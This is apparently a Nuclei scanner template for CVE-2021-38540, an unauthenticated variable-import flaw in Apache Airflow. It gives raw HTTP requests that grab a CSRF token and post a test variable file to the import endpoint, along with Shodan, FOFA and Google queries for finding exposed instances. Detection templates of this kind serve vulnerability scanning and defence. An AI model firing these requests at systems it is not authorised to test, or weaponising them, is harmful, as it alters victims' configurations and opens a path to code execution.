id: CVE-2021-38540 info: name: Apache Airflow - Unauthenticated Variable Import author: pdteam severity: critical description: Apache Airflow Airflow >=2.0.0 and <2.1.3 does not protect the variable import endpoint which allows unauthenticated users to hit that endpoint to add/modify Airflow variables used in DAGs, potentially resulting in a denial of service, information disclosure or remote code execution. impact: | An attacker can exploit this vulnerability to import malicious variables, potentially gaining unauthorized access to sensitive data. remediation: Upgrade to Apache Airflow 2.1.3 or higher. reference: - https://nvd.nist.gov/vuln/detail/CVE-2021-38540 - https://lists.apache.org/thread.html/rb34c3dd1a815456355217eef34060789f771b6f77c3a3dec77de2064%40%3Cusers.airflow.apache.org%3E - https://lists.apache.org/thread.html/rac2ed9118f64733e47b4f1e82ddc8c8020774698f13328ca742b03a2@%3Cannounce.apache.org%3E - https://lists.apache.org/thread.html/rac2ed9118f64733e47b4f1e82ddc8c8020774698f13328ca742b03a2%40%3Cannounce.apache.org%3E - https://github.com/WhooAmii/POC_to_review classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-38540 cwe-id: CWE-306,CWE-269 epss-score: 0.01603 epss-percentile: 0.87397 cpe: cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:* metadata: verified: true max-request: 2 vendor: apache product: airflow shodan-query: - title:"Sign In - Airflow" - http.title:"airflow - dags" || http.html:"apache airflow" - http.title:"sign in - airflow" - product:"redis" fofa-query: - title="sign in - airflow" - apache airflow - title="airflow - dags" || http.html:"apache airflow" google-query: - intitle:"sign in - airflow" - intitle:"airflow - dags" || http.html:"apache airflow" tags: cve2021,cve,apache,airflow,rce,intrusive http: - raw: - | GET /login/ HTTP/1.1 Host: {{Hostname}} Origin: {{BaseURL}} - | POST /variable/varimport HTTP/1.1 Host: {{Hostname}} Origin: {{RootURL}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryB874qcjbpxTP1Hj7 Referer: {{RootURL}}/admin/variable/ ------WebKitFormBoundaryB874qcjbpxTP1Hj7 Content-Disposition: form-data; name="csrf_token" {{csrf}} ------WebKitFormBoundaryB874qcjbpxTP1Hj7 Content-Disposition: form-data; name="file"; filename="{{randstr}}.json" Content-Type: application/json { "type": "{{randstr}}" } ------WebKitFormBoundaryB874qcjbpxTP1Hj7-- matchers-condition: and matchers: - type: dsl dsl: - contains(body_1, "Sign In") - status_code_2 == 302 - contains(header_2, "session=.") condition: and - type: word words: - 'You should be redirected automatically to target URL: ' extractors: - type: regex name: csrf group: 1 regex: - type="hidden" value="(.*?)"> internal: true # digest: 4b0a00483046022100862fd748d4c50cb37ac09a5402ed868b287079aab7c064db77d3a0963747ee48022100f104021877908de11d67c6c99aa7172e0ef84440b62d047a84ca4a3f6a9ce2d9:922c64590222798bb761d5b6d8e72950